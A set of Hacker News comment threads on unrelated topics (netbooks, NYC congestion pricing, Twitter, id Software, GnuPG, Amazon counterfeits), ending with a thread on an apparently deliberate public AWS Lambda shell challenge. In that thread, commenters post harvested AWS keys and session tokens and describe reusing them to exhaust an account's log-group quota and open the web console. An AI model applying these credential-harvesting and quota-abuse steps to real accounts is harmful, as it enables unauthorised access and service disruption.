devices, so you can create content on them.
From my POV the Asus Eee PC stands for everything that the Apple notebooks do,
it's just a little smaller, as sexy, and a lot cheaper. It's obviously not as
gratuitously sexy as the MB Air, but at $2500 that's not even on the radar of
the vast majority of the computing public.
Since OS X and the Bondi Blue iMacs Apple has had a really weak foe in the
Windows hardware vendors. Sony had the engineering prowess but no cohesive
design language, IBM had the design language, but it was ugly as sin (I say
this as a ThinkPad fanboy). There was nothing that integrated well enough with
Windows to make it feel monolithic or whole.
Asus has a game changer on their hands with the Eee in that they have full
control of both the hardware and the UI, and the price point is substantially
below typical laptop prices. This, combined with downward price pressure from
conventional laptops means that a response from Apple is inevitable.
Apple could well ride it out for another two years, but like any other
business they do better when they stake their claim (integrated iPod + iTunes
+ store, best served on an iMac) as opposed to reacting to a market trend
(Newton, back in the PDA days, or the megahertz wars).
| {
"pile_set_name": "HackerNews"
} |
Driving a Car in Manhattan Could Cost $11 Under Congestion Plan - vanderfluge
https://www.nytimes.com/2018/01/18/nyregion/driving-manhattan-congestion-traffic.html
======
nwah1
Congestion pricing is one of the most economically literate ways to improve
traffic, and those funds can be used to improve infrastructure. It isn't so
different from surge pricing in ridesharing apps.
There is a narrowmindedness on the part of opponents of both congestion
pricing and surge pricing, because they are ignoring the obvious point that if
they weren't paying the fees they'd be paying in terms of time.
Not to mention that congestion has other negatives, like pollution.
Infrastructure needs to get paid for somehow. It is fair when it is paid for
by the people benefiting from it.
~~~
lazerpants
I'm always surprised by the only-in-this-circumstance libertarian philosophy
of people who support congestion pricing. I think if you took the exact same
logic and applied it to say, schools, supporters would feel completely
differently about it.
Example: It's really hard to get your child into certain public schools in
NYC. Why not start charging $3k a year per child (much less than private
schools) at high demand schools in order to lessen the overcrowding of those
schools? There are viable alternatives to paying (less in-demand schools),
most lower income people are already not able to send their kids to in-demand
schools for reasons of geography, and after all, parents choose to have
children, they should pay for the services and infrastructure to support them.
That example seems to essentially be the same as what is proposed for
congestion pricing, with many parallel arguments. Why is congestion pricing
okay when applying the same philosophy to other matters of public good isn't?
(by the way, I'm a reluctant supporter of congestion pricing, and not of what
I proposed for schools, but I struggle with why I believe one is okay and the
other is not)
~~~
gamblor956
In the U.S., a public education is considered a right. Driving is a privilege,
not a right, and so the same considerations don't apply.
For example, we already charge drivers for the privilege of driving: annual
license fees, mandated insurance, gasoline taxes, etc. Congestion fees/taxes
are simply an extension of the costs associated with the driving privilege.
With respect to schools, we already have a de facto congestion charge, in the
form of housing prices near desirable schools. In many states, property taxes
near desirable schools are also higher to reflect the greater desirability of
the neighborhood.
~~~
rsync
"In the U.S., a public education is considered a right. Driving is a
privilege, not a right, and so the same considerations don't apply."
I find this conversation very interesting - first, the thought provoking
notion from your parent that supporters of congestion pricing invoke a
"libertarian but only for this" exception that they wouldn't apply to other
goods like schools.
Then your (obvious) reply that driving is not a right, but a privilege.
I would counter that while driving is certainly a privilege, the _roads
themselves_ are a right, or a public good, comparable to schools. So
regardless of what hoops you have to jump through to purchase and license your
car, once jumped, the roads are analogous to the schools.
FWIW, I am personally enthusiastic about congestion pricing and have heard
nothing but good things about its deployment in London. I would like very much
to have it considered here in San Francisco.
~~~
apendleton
> the roads themselves are a right, or a public good
Transportation is the public good. Roads are one means of providing it, but
there are others, like public transit. It's up to the government to determine
how best to provide that public good given existing constraints in funds,
time, land area for roads and other transportation infrastructure,
environmental considerations, etc. They've apparently determined that the
distribution of modes is suboptimal, and are creating economic incentives to
shift it and better pay for it, but ultimately people will still be able to
get places one way or another.
~~~
willyt
Roads have only been a public good since 1888 in the UK. Before this it was
common to pay a toll to be able to use a road.
[https://en.wikipedia.org/wiki/Toll_roads_in_Great_Britain](https://en.wikipedia.org/wiki/Toll_roads_in_Great_Britain)
------
rthomas6
This is one of the only places in the US where public transportation is kind
of good. Many people in NYC don't own a car and don't even know how to drive.
It boggles my mind the amount of people complaining about how expensive it is
to drive to Manhattan. ...Why did you drive in the first place? Unless you
need to carry something large/heavy, there's no real reason to drive there.
Just park, take a cab/train there, and once you're there, it's _faster_ than
driving to use the subway to get places.
~~~
Nav_Panel
People are stuck in old modes of thinking about the city. When my parents
lived in the city during the 80s, it wasn't safe to take the subway. Everybody
owned a car, even in Manhattan. Now, none of my (20-something) friends own
cars, but I imagine a lot of older people don't want to give it up.
It does seem pretty nice to drive to work rather than cramming into a subway
car for a half hour, even if you're stuck in traffic...
~~~
rsynnott
It's amazing how habit-forming driving seems to be. A friend was recently
talking about a colleague of his who lives right next to a tram stop and works
right next to another stop on the same tram line. 20 minute tram journey, tram
every five minutes at peak time. And instead they drive an hour to work at
rush hour, because they're from a rural area and are used to driving. Makes no
sense to me at all...
~~~
hartator
I think you have to live in big city and have taken public transportation on a
daily basis, to understand the frustations, the dalays, the insecurity, the
smell, the crowdness, and the freedom reducing of it.
~~~
woolvalley
You have to live in a dysfunctional city for that to be a reality. In cities
that are functional, you only have to deal with occasional crowding.
~~~
hartator
NYC, Paris, London, etc.
------
ebikelaw
This framing of the issue is typical for the mainstream press, however readers
should note that this scheme changes nothing about the cost of driving. It
only changes who pays, and how. Today everybody pays the costs associated with
driving in Manhattan, even though driving in Manhattan is only practiced by a
tiny minority of people. Congestion pricing will shift part of that burden to
the people who cause it, which is perfectly fair.
~~~
rbcgerard
Also not noted is the portion of people driving in new york city that do not
live in new york city...
~~~
SamReidHughes
They're driving in so that the people living there don't have to drive out.
~~~
rbcgerard
??? They NEED to drive in from NJ CT etc instead of taking public transit?
~~~
BoorishBears
From my parent's house in CT you can get to Grand Terminal in NYC by:
\- Taking public transport only: 30 minutes of walking to the nearest bus stop
(bus only on the hour btw). 20 minutes on the bus. 2 hrs 30 minutes on a train
to Grand Central. All assuming bus and train time line up (they won't since
the bus is hourly).
\- Driving and taking a train: Drive for 30 minutes and take a 2 and a half
hour train ride to Grand Central.
\- Drive: 2 h 20 min at 5 o'clock on a Friday. Google maps shows 1.5 - 2hrs is
average.
~~~
krschultz
It's foolish to count driving to the train station in CT. Any time the traffic
is minimal into NYC, the parking at train stations is also empty. Really
everything you cited is fairly naive for getting into and out of the city.
Parking is ~$40 a trip unless you can get a street spot (which can be really
hard to count on in most neighborhoods).
The optimal path is to drive to a train station close to NYC that has frequent
service, park and take the train for the last bit. I used to use the Greenwich
train station and it worked well. The same is true from New Jersey, you can
park at Metropark or get dropped off in Seacaucus.
Source: I lived in CT for 3 years, lived in Manhattan for the last 5 years,
bought a car and keep it in Manhattan for the last 6 months.
~~~
BoorishBears
It's foolish to speak so brashly since you don't even know which part of CT
I'm referring to.
They aren't near enough to any train stations to make the trip faster by
switching stations. Your "brilliant" drive to a closer train station idea is
still a 2 and a half hour total trip time for reaching the same place.
And if your commute daily you're not going to be guessing where you park,
you'll probably have a monthly garage.
This all goes back to the parent comment which was just being obtuse. In
theory no one "needs" to do anything, we can just sit around all day until we
waste away.
People who "need" to commute in their cars really _want_ to commute in their
cars. No one is saying it's cheap, but it's a right that people have, and it's
not hard to imagine that for some people commuting from NYC to CT daily, doing
it by car is preferable to public transit.
------
weatherlight
Manhattan is 2 miles by 14 miles. Unless you are moving something heavy, there
really is no reason not to use the Subway, it's faster, cheaper, and runs all
night and all day.
Not only that, the majority of New Yorkers do not own cars. I don't even know
how to drive. I do, however, take buses and ride my bike. (In NYC you'll get
ticketed if you ride your bike on the sidewalk )
In NYC, real estate is extremely limited. Why should such real estate, which
is paid for with city taxes benefit so few?
~~~
electricslpnsld
> there really is no reason not to use the Subway
East-West across the park can be a bit of a pain on the train. If you're
trying to get from the Upper West Side to the Upper East Side, a bus is going
to be a faster choice than taking a train to midtown, transferring, and taking
a train back up.
------
lclarkmichalek
London has something similar, the congestion charge. Has helped somewhat, and
def makes regular driving in central London a 'you did what?' thing. It's
lifted on the weekend, which is nice if you want to pop to IKEA or whatever.
I think they're planning on pushing something similar all the way out to the
north circular, and maybe the M25 for heavily polluting traffic.
~~~
iraklism
Worth noting that the CC in London operates for 15 years now. I’m sure there
is a wealth of data that can be analysed, and I’m even more sure that there
are a number of studies and papers that have explored its usefulness and
positive/negative impact on traffic/economy/environment/public transportation.
------
javindo
Since surprisingly nobody has mentioned it in the comments here yet, we have a
similar scheme in place in London, and have done for quite some time. It's
only for the most central/congested zone and has had a hugely beneficial
impact on congestion.
That being said, it almost never makes sense to drive a car inside central
London anyway as the public transport is very reliable and has almost full
coverage, and it's dealing with a very different problem in the first place
(old horse and cart windy roads adjusting for the modern age).
------
liveoneggs
a friend was once visiting me in manhattan and decided to drive. He came over
on the george washington bridge ($15 toll), missed his turn to my block and
ended up getting turned around and going over to brooklyn (tunnel, of course:
$8.50 toll), realized he was in the wrong place and turned around ($8.50 back
through the tunnel).
This, of course, was after driving up from Virginia via I-95, which has its
own $20+ worth of tolls along the route.
\--
Where I live now, in Atlanta, we recently closed a $0.50 toll (GA400) because
apparently we didn't need the money.
~~~
jimmaswell
I just recently learned about this. It's unbelievable. How can anyone defend a
$15 toll? I'm glad I don't have any business in NYC.
~~~
beisner
Because cars in Manhattan are a blight on livability and safety. There are
only a handful of reasons to legitimately have a car in Manhattan; off the top
of my head: moving large items, transporting those with mobility issues,
getting from specific subway dead zones to other parts, and leaving manhattan
altogether. There is an enormous (albeit overloaded and dilapidated) public
transit infrastructure allowing people to both move throughout the city and
come into the city from basically anywhere in the tri state area. And even if
direct transit options into the city aren’t spectacular, you can drive to any
of the thousands of park-and-ride locations on the cheap and take public
transit from there.
There are legitimate life circumstances that necessitate driving around
manhattan, and I would be more than happy to exempt those from congestion
pricing. And I have no problem with Taxis and buses and delivery vans
operating, as they have high utilization. But private cars cause so many
problems in manhattan, including danger to pedestrians (which make up the bulk
of people in the city at any given time), noise pollution, air pollution, and
inefficiency for legitimate ground transport/logistics, that I have no problem
disincentivizing the use of them in Manhattan with large tolls. There’s a
certain hubris required to be the only occupant in a vehicle in manhattan when
the public transit infrastructure is so expansive and affordable.
And don’t even get me started on all the wasted space dedicated to parking
that could be used for public space, business, bicycle lanes, etc...
~~~
nogridbag
Everyone keeps talking about Manhattan, but the GWB bridge serves more than
Manhattan. I don't have any numbers to back this up, but I would guess the
vast amount of traffic over the bridge serves commuters between Jersey and the
other boroughs.
~~~
beisner
I'd actually wager that the vast majority of people commuting in from Jersey
work in Manhattan, rather than the other boroughs. I grew up in central
Jersey, and everyone I knew who commuted in on NJ Transit (along the Northeast
Corridor line) were commuting into Manhattan. If you worked in Queens or
Brooklyn, you'd live somewhere on Long Island. If you worked in the Bronx,
you'd live in Westchester (or north). Some fraction of people have longer
commutes, but my guess is that it would be a tiny one. You are correct, the
GWB serves a diverse set of areas (I only take the GWB to get from Jersey to
Westchester), but it's not the only means by which cars get into NYC.
Regarding why everyone talks about Manhattan, it's because it's where a huge
fraction of people in NYC live and work. While there are only 1.6 million
permanent residents of Manhattan, the population during the day swells to
around 4 million due to commuters and visitors. The outer boroughs, while busy
in their own right, operate on a completely different scale (population
actually _decreases_ during the day), because they're so spread out.
~~~
nogridbag
Don't forget the other direction. I commute from Queens to Jersey daily so my
perspective might be biased. While I don't have to pay the GWB going towards
Jersey, I still have to pay the toll going home (along with RFK or
Whitestone). Looks like I pay between $400-$600 per month just in tolls.
~~~
beisner
My apologies on the commute, can't be pleasant to go through all that traffic.
I don't think the the GWB tolls are congestion-based though, they're more for
maintenance of the infrastructure that hundreds of thousands of people drive
over daily. From my understanding of business in NJ, there are relatively few
people doing your sort of commute, so perhaps with congestion prices in
Manhattan, the amount of wear on the GWB and related infrastructure (along
with maintenance costs) might decrease, which could result in reduced GWB
tolls.
------
setgree
Weighing in as a Manhatto who works in midtown -- I welcome this! But another
fruitful option is curbing the very worst behavior attendant to driving.
Blocking the box -- apparently being policed heavily in Queens! [0] -- is
typically addressed (near times square) by having traffic cops in the streets
guiding traffic. How about tickets that scale up by orders of magnitude for
each repeat offense, i.e. $1 for the first offense and $10K for the fifth and
after that you lose your license?
The next thing I'd want to tackle is rampant honking. Not sure how to police
this but it should probably cost $10 per second that your horn is making
noise. that seems to me like a fair pricing of the externalities produced. And
if you're honking to save someone's life i.e. if they're walking into traffic
while looking at their cell phone -- ok that's a tough one.
[0] [http://newyork.cbslocal.com/2017/09/21/ridgewood-ticket-
trap...](http://newyork.cbslocal.com/2017/09/21/ridgewood-ticket-trap/)
~~~
alkonaut
Traffic violations fees should be proportional to income to really be painful
to rich people. See e.g Finland.
~~~
ghaff
Probably the worst horn honkers in Manhattan are the taxi car drivers. Not the
wealthy guy driving his Mercedes.
------
rbcgerard
A couple of things to note:
1) is who is actually causing the congestion in NYC - its my understanding
that the bulk of the congestion is caused by non-NYC residents
2) a large unaddressed component is parking - the large amount of free parking
available, especially to non-residents, creates a distorting subsidy in favor
of commuting in many areas.
If you want to read a great book on the broader subject, check out Traffic by
Tom Vanderbilt
[http://tomvanderbilt.com/books/traffic/](http://tomvanderbilt.com/books/traffic/)
------
qnk
"drivers would not have to pay if they entered Manhattan
by all but two of the city-owned East River bridges,
which are now free to cross, as long as they bypassed
the congestion zone."
I don't think I understand this part. Why would you have to pay if you "bypass
the congestion zone"? no matter where you're coming from. Now, if what this
means is that you don't have to pay the $11.52 fee after having already paid
the $15 (if you pay cash) for the toll fee coming from New Jersey, makes
sense.
~~~
ghaff
It's confusing the way it is written and there's no actual map but:
"In turn, that means drivers can enter Midtown and Lower Manhattan by two
bridges without paying as long as they go directly to the F.D.R. Drive along
the East River and then continue on it until they are out of the congestion
zone."
I believe what they're saying is that you still enter the congestion zone via
those two bridges but you can stay on FDR drive and exit the zone without
getting on interior streets [ADDED: and not get charged. FDR Drive is the road
that runs along the East River.]
------
thebiglebrewski
As someone living in Brooklyn who drives to NJ regularly, I wonder if this
will increase congestion on the Staten Island bound route to NJ. People will
dodge the Holland Tunnel to avoid this surcharge.
~~~
herbturbo
To be fair that's probably a good thing. The BQE and Turnpike are more
appropriate places for large amounts of through traffic than SoHo.
------
ramblenode
I won't take a position on this plan until I see the details. There are plenty
of neighborhoods south of 60th that aren't congested. And congestion varies
greatly by time of day. It would be pretty unfortunate if entities which
aren't actually contributing to congestion get swept into this scheme.
Delivery trucks need to service businesses in busy areas, but they usually
operate in the early morning when traffic is light. Likewise, taxis and
rideshares that operate during off-off hours are filling in for the reduced
service of the MTA without actually contributing to congestion.
A congestion pricing scheme that increases the efficiency of the total
transportation system would be excellent, but I am skeptical. Congestion,
whether on the subway or the road (or even the sidewalk), is already a
negative feedback loop that encourages seeking alternate routes/times. If
people are taking congested roadways, they are doing so _in spite_ of all the
other options available to them in a city with extensive public transit. I am
curious what kind of data informs this plan and whether it is primarily a
solution to transit times or just another source of revenue for the MTA.
------
rdtsc
Driving 10 miles from Northern Virginia to DC on I-66 could cost you $40:
[https://www.washingtonpost.com/news/dr-
gridlock/wp/2017/12/0...](https://www.washingtonpost.com/news/dr-
gridlock/wp/2017/12/05/i-66-toll-in-virginia-reaches-new-high-of-36-50-on-
day-2/?utm_term=.ae68bc50c0f0)
Is it wrong? I don't know, usually it is not as bad. But when it got that high
and people were still jumping into the lane one has to wonder what's going on.
Granted the nearby counties are the wealthiest in the country, so maybe it
shouldn't be that shocking.
------
cseelus
I find concepts of road space rationing like in Beijing to be more fair.[1]
This plan for Manhattan will obviously only stop people with low financial
power from driving, although they might already have paid for these roads via
taxes and duties.
[1]
[https://en.m.wikipedia.org/wiki/Road_space_rationing_in_Beij...](https://en.m.wikipedia.org/wiki/Road_space_rationing_in_Beijing)
~~~
ufo
São Paulo has a similar system in place since 1996, where each vehicle has one
day a week where they are banned from using the roads during peak times.
My understanding is that it doesn't really help that much because even with
the rationing the tendency is still to saturate the roads with cars. São Paulo
is one of the cities with the worst traffic congestion in the world.
Additionally, rich people can bypass the rationing by purchasing additional
vehicles.
------
pimmen
We've been implementing these schemes across Europe for a long time. In my
home country, both Stockholm and Gothenburg has them and they're unpopular but
actually do a lot of good. My parents have finally started taking the train
and the tram again which was something they never did before and the data
shows that people are driving less in both cities now.
------
lewis500
I wrote a history of downtown congestion pricing a few months back:
[https://medium.com/@lewislehe/a-history-of-downtown-road-
pri...](https://medium.com/@lewislehe/a-history-of-downtown-road-
pricing-c7fca0ce0c03) Since then I've written it as an academic paper with a
lot more material.
~~~
ebikelaw
Thanks, that is a great contribution to the discussion. I hope in the coming
years these charging schemes will be so common that cataloging them becomes
impossible!
~~~
lewis500
Currently Vancouver is also seriously considering a scheme. I do believe they
are going to implement one.
Singapore is also switching over to a satellite-based per-km charge.
------
kevin_thibedeau
> In a key change from past efforts, drivers would not have to pay if they
> entered Manhattan by all but two of the city-owned East River bridges, which
> are now free to cross, as long as they bypassed the congestion zone.
The West side should get the same benefits.
They should also increase the motorcycle toll discount back to 20% like it was
years ago.
------
stmfreak
The article claims there are fewer cars entering the city than a year ago and
yet traffic has gotten worse! Seems we can predict the outcome of additional
incentives against driving: even worse traffic!
------
ForHackernews
The London congestion charge is £11.50, and it works pretty well.
~~~
nikon
How does it work well? The roads have never been busier.
~~~
ForHackernews
The percentage of private vehicles on London roads is lower relative to other
big cities. London streets are packed with buses, delivery vans, black cabs
and minicabs.
[https://www.centreforpublicimpact.org/case-study/demand-
mana...](https://www.centreforpublicimpact.org/case-study/demand-management-
for-roads-in-london/)
> There was a 37 percent increase in the number of passengers entering the
> congestion charging zone by bus during charging hours in the first year.
> “Greenhouse gas emission was reduced by 16 per cent from 2002 to 2003. NOX
> and PM10 within the congestion charging zone decreased by 18 per cent and 22
> per cent, respectively, by 2004."
> The scheme generated £122 million net in 2005/2006.
> By 2006, the congestion charging zone had reduced congestion in central
> London by 26 per cent from its 2002 levels.
> There have been between 40 and 70 percent fewer accidents that resulted in
> personal injury within the zone.
------
MBlume
Wow, that's not nearly enough
------
intrasight
Why do we still use pennies in commerce?
~~~
btbuildem
Because they add up to millions over time?
------
hartator
> East river bridges
Making poor people pay as always.
------
saas_co_de
It seems like it would be fairer to privatize the roads entirely and force the
people who can actually use them to pay the entire cost.
Otherwise poor people are subsidizing roads reserved for the rich that they
can't even use.
~~~
yellowstuff
Even though this pushes road use into being more of a transaction I still
don't believe that we should think about road use as a pure transaction.
Infrastructure shapes how people live, work and play. Roads that cost $12 to
drive will change the city differently than roads that cost $50 to drive on.
Specifically, I'd be worried about driving away tourists and commercial
traffic. I doubt a lot of well-off locals would start driving in Manhattan if
there were a congestion tax and less traffic, they'd keep taking Uber.
~~~
wlesieutre
Even if we did view normal everyday road use as a transaction, the road
infrastructure is critical to other services like police, fire, and ambulance
that still make sense to be funded from taxes. If you want to be able to call
the police, you're relying on roads being available.
~~~
sp332
Funding it with a progressive tax makes more sense to me than charging
everyone the same flat rate.
| {
"pile_set_name": "HackerNews"
} |
Twitter business plan coming... by 2011 - pakafka
http://mediamemo.allthingsd.com/20090604/twitter-investor-business-plan-comingby-2011/
======
mahmud
These guys are seriously overestimating the shelf-life of social networks.
I give them 6 months to cash out or miss the gravy train for good. People are
only gonna tolerate the twitter hype for so long before it gets old.
| {
"pile_set_name": "HackerNews"
} |
Primal Rage: a conversation with Carmack, and a look at id's latest - kazuya
http://arstechnica.com/gaming/news/2010/11/post-8.ars/
======
rdmlx
I've been following Carmack since Wolf3D. It's always a pleasure to see what
he's doing next.
~~~
wriq
Same here. His .plan updates were always very opinionated and interesting. I'm
happy he is now somewhat active on twitter (@ID_AA_Carmack).
------
Supermighty
It doesn't bode well for Android when John Carmack is concerned with support
issues for the platform.
------
sudont
Interesting that he's warming to the console model that iOS derived from PS
and Xbox.
It sounds like there's a space for something like Steamworks to exist on
Android--this is one area where fragmentation isn't just a vacant slur.
| {
"pile_set_name": "HackerNews"
} |
GnuPG encryption project launches crowdfunding campaign - laxity
http://goteo.org/project/gnupg-new-website-and-infrastructure
http://lists.gnupg.org/pipermail/gnupg-announce/2013q4/000338.html
======
laxity
[http://lists.gnupg.org/pipermail/gnupg-
announce/2013q4/00033...](http://lists.gnupg.org/pipermail/gnupg-
announce/2013q4/000338.html)
| {
"pile_set_name": "HackerNews"
} |
Welcome to the Era of Fake Products - usui
https://thewirecutter.com/blog/amazon-counterfeit-fake-products/
======
nickgrosvenor
Amazon products are barely more official than eBay at this point. I tell my
wife to never buy soaps, makeup, or anything liquid-based from amazon.
------
amznfakes
Amazon will delete your review if you mention that the product is
fake/counterfeit; they don't give a shit because $$$$$.
------
Nextgrid
That site is absolute garbage. Only a third of the screen is actually used to
display content. The rest is a (non-compliant) GDPR “consent” prompt and then
a shit-letter signup prompt.
| {
"pile_set_name": "HackerNews"
} |
Is serverless insecure? Let's find out - vdmq
http://www.lambdashell.com/
======
benmanns
AWS_SESSION_TOKEN=FQoGZXIvYXdzEL7//////////wEaDLrjfq5THKULF+vCbyLdAXvIJIQYpbvyNbsoM78owNvdOi4xqqwm0kYRol0RLCtpO9QnBhn+4LhWWZHSjH0vfxRgbY3trqeTfX/U4c1zmtjMEbyN9ALic8Jo2s6m4CRdB+KMLdjg5/UKr1InaT2eONXqJ0JQYe712luic6sqbP5xlXa5QL2Z/+LoKJMs3PHgCOtjzUhPvLph5J+DDIb4I/xuaWwntrMtxXY7Ayo9YQGlh5zczJqhepBrig2Ajd7/eV0eelB/FxoQI493vItYtWnpGk5Cq4CAGH9a/XTDAD8+2Hui+r6PvdBYdbBlKN2J4tsF
AWS_SECRET_ACCESS_KEY=IUsl7aO1EB5SNdlvivgNKjLwsLq6Mxj0vVX1bw5y
AWS_ACCESS_KEY_ID=ASIARZMXIAFTOAUFCQFN
$ aws sts get-caller-identity
{
"UserId": "AROAI55KPKEETYCGL4SXW:exec",
"Account": "123260633446",
"Arn": "arn:aws:sts::123260633446:assumed-role/lambda_basic_execution/exec"
}
That's all I've gotten so far.
~~~
benmanns
Found something! I'll post if/when the hole is closed. Til then it could cost
some $$$.
~~~
jcims
can you share yet
------
cddotdotslash
Not necessarily a security vulnerability per se, but I was able to fill up the
AWS account with CloudWatch log groups by doing the following:
1\. "env | grep AWS" 2\. Export those creds locally where you have the CLI
installed. They'll work for at least 15-30 minutes depending on the IAM
config. 3\. Run "aws sts get-caller-identity" to see the role info.
This prints:
123260633446 arn:aws:sts::123260633446:assumed-
role/lambda_basic_execution/exec
Which seems to imply it has the default Lambda basic execution policy. That
policy has the permission "logs:CreateLogGroup" which means you can then run:
aws logs create-log-group --log-group-name <random name>
Repeat x5000 and hit the AWS limit for log groups in an account. This isn't
necessarily a security risk in and of itself, but it could cause issues if
anything else were running in the account that needs logs, or could prevent
new services from spinning up.
~~~
jcims
Using STS GetSessionToken with this method you can log into the console with
the Lambda basic execution role:
[https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_pr...](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-
console-custom-url.html)
[https://imgur.com/a/psajfhw](https://imgur.com/a/psajfhw)
It's mostly useless of course.
~~~
cddotdotslash
Yeah, my train of thought was that the OP had tied some additional privileges
to the role, but unfortunately it seems to just be the bare minimum.
------
dmlittle
Not a security issue but you're appending the PATH with LAMBDA_TASK_ROOT in
the handler which is causing it to be appended over and over again with each
execution. You can modify the PATH outside of the handler function so it's
only done once.
process.env['PATH'] = process.env['PATH'] + ':' + process.env['LAMBDA_TASK_ROOT'];
user@host:~ echo $PATH
/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var
/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/v
ar/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:
/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/tas
k:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/t
ask:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var
/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/v
ar/task:/var/task:/var/task... (redacted for brevity)
~~~
gthole
More code-review-as-feedback:
It's also probably wise to "return" the "context.done" callbacks in the
try/catch so it doesn't double-callback, or otherwise get rid of that last
TODO "context.done" call.
------
nihil75
Correct title would be "Is AWS Lambda insecure?"
Serverless is not an Amazon trademark. There are others out there.
------
TheDong
Very similar to [https://contained.af/](https://contained.af/), which has been
much longer running and has not yet been pwned.
~~~
ztjio
Also recently got a bug bounty tacked on.
------
emersonrsantos
Help for those who are stuck: Hacking Serverless Runtimes - Profiling Lambda,
Azure, and more.
[https://www.blackhat.com/docs/us-17/wednesday/us-17-Krug-
Hac...](https://www.blackhat.com/docs/us-17/wednesday/us-17-Krug-Hacking-
Severless-Runtimes.pdf)
~~~
adfm
An oldie, but worth a lookieloo... Rich Jones' presentation from 33c3:
[https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds](https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds)
~~~
ransom1538
Does anyone know why Rich Jones never released this tool???
[https://github.com/Miserlou/Mackenzie](https://github.com/Miserlou/Mackenzie)
(If we had this tool....)
------
terrib1e
AWS_ACCESS_KEY_ID="ASIARZMXIAFTER5GI45J" AWS_DEFAULT_REGION="us-west-1"
AWS_EXECUTION_ENV="AWS_Lambda_nodejs6.10"
AWS_LAMBDA_FUNCTION_MEMORY_SIZE="128" AWS_LAMBDA_FUNCTION_NAME="exec"
AWS_LAMBDA_FUNCTION_VERSION="\$LATEST"
AWS_LAMBDA_LOG_GROUP_NAME="/aws/lambda/exec"
AWS_LAMBDA_LOG_STREAM_NAME="2018/08/19/[\$LATEST]7377542138964953a23a5c2ee9164191"
AWS_REGION="us-west-1"
AWS_SECRET_ACCESS_KEY="7Ao7NuH8s1sAY4IX+k3kiTMPfzpXYEnpfBAd4oy7"
AWS_SESSION_TOKEN="FQoGZXIvYXdzEMn//////////wEaDM9ld7g0OwC5maHXNiLdAb4ha2GIX9M5LqgIUmflmoia5G
CgLfbl6RhdKqbda7keAcWMZQSvSGiXTP9YZe8+n0V2itouoDxCjCQIOO/H4ZP0TFjoOFkIoIDogYKjyukVYtyMdFVs/hKwmeEQpt
nGbmgHWnGwMz8wTPLqd8GgouO2iodUlErgsVGecZleRCxriEJvRczlD86NbelHo1rrJQrLIOP7hJHVXDP26ujwGQDKz92kQfH2gN
umQayFunGKpIvXc4ubCI1Ce0061uxYYAyGdgo+yXOjA0fkUauivRHnjPcJdXNjzd+fcG07KPC65NsF"
AWS_XRAY_CONTEXT_MISSING="LOG_ERROR"
AWS_XRAY_DAEMON_ADDRESS="169.254.79.2:2000" LAMBDA_RUNTIME_DIR="/var/runtime"
LAMBDA_TASK_ROOT="/var/task" LANG="en_US.UTF-8"
LD_LIBRARY_PATH="/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var
/task/lib" NODE_PATH="/var/runtime:/var/task:/var/runtime/node_modules" OLDPWD
PATH="/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/var/task" PWD="/var/task"
SHLVL="1" TZ=":UTC" _AWS_XRAY_DAEMON_ADDRESS="169.254.79.2"
_AWS_XRAY_DAEMON_PORT="2000" _HANDLER="index.handler"
_X_AMZN_TRACE_ID="Root=1-5b7924b4-1aca734c5ba3fc464dc68e42;Parent=28fd6d640d617eed;Sampled=0"
------
zebraflask
Erratic use of const v. var is a giveaway.
I'm not sure I grasp the reason that every command entered is stored to
localStorage and repeated in the console, and that xss.js file is looking a
little suspicious.
------
adyavanapalli
To see all available commands, `compgen -c | sort`.
------
carlsborg
AWS bug bounty page is here: [https://aws.amazon.com/security/vulnerability-
reporting/](https://aws.amazon.com/security/vulnerability-reporting/)
------
lingzb
A bold test. I like it!
------
ransom1538
Why does AWS allow /tmp/ to hold data across executions? (just for speed?)
user@host:~ ls /tmp/
user@host:~ ls /tmp/
test
user@host:~ ls /tmp/
user@host:~ ls /tmp/
at_everyone__WHO_IS_MONITORING_THIS_QUESTIONMARK
aws.tgz
file.txt
foo
foo.txt
sshd-tar.gz
test
user@host:~ cat /tmp/egg.js
console.log(process.getuid())
user@host:~ cat /tmp/egg.js
Command failed: cat /tmp/egg.js
cat: /tmp/egg.js: No such file or directory
~~~
thenickdude
Exactly, it allows your function to cache state between executions if that
state won't fit in RAM (up to 500MB). I use this to cache objects from S3 so I
can avoid the latency of a round-trip for popular objects.
------
unparagoned
I'm not going to be much help. I'm not too sure what you would exploit. Trying
to escape the amazon api through some kind of VM escape seems pretty hard and
I guess would get you a much bigger bounty from amazon. Maybe use the auth
keys to access the accounts? Am I correct in thinking that the box the site is
running on is complately different to the one the console is on? Is index.js a
clue?
Anyway to more easily see what everyone else is doing run grab_commands() from
the browser console.
------
DarkStar851
Interestingly, the code behind this was published as a gist over a year ago.
[https://gist.github.com/hefangshi/b73a0e5b24dcfc04668e2019c8...](https://gist.github.com/hefangshi/b73a0e5b24dcfc04668e2019c8dcbb27)
Not sure why it strips "internal" variables, are those sensitive?
~~~
lambdashell
Author of lambdashell here - that is not the code. You can see the actual code
by just doing 'cat index.js' \- this is as the website states, a default
lambda function doing an exec()- really, really simple.
~~~
DarkStar851
[https://gist.github.com/scottstamp/db570d80c09cf5f357eac78a9...](https://gist.github.com/scottstamp/db570d80c09cf5f357eac78a90ce8e1f/revisions)
Looks identical? The revision is from index.js.
------
stelcheck
Surprised nobody noticed Node.js 0.10.46 is installed on all hosts, under
/usr/bin.
I'd assume this may be a good place to start.
------
kyberias
How can a lambda be a shell? I thought they were meant to be safe functions
for compute.
~~~
mcintyre1994
They are just functions - but Node lets you run external scripts. The relevant
bit of source (you can view it all with cat index.js) is:
``` const result = childProcess.execSync(event.body.command).toString();
console.log(result); var response = {result: result}; context.done(null,
response); ```
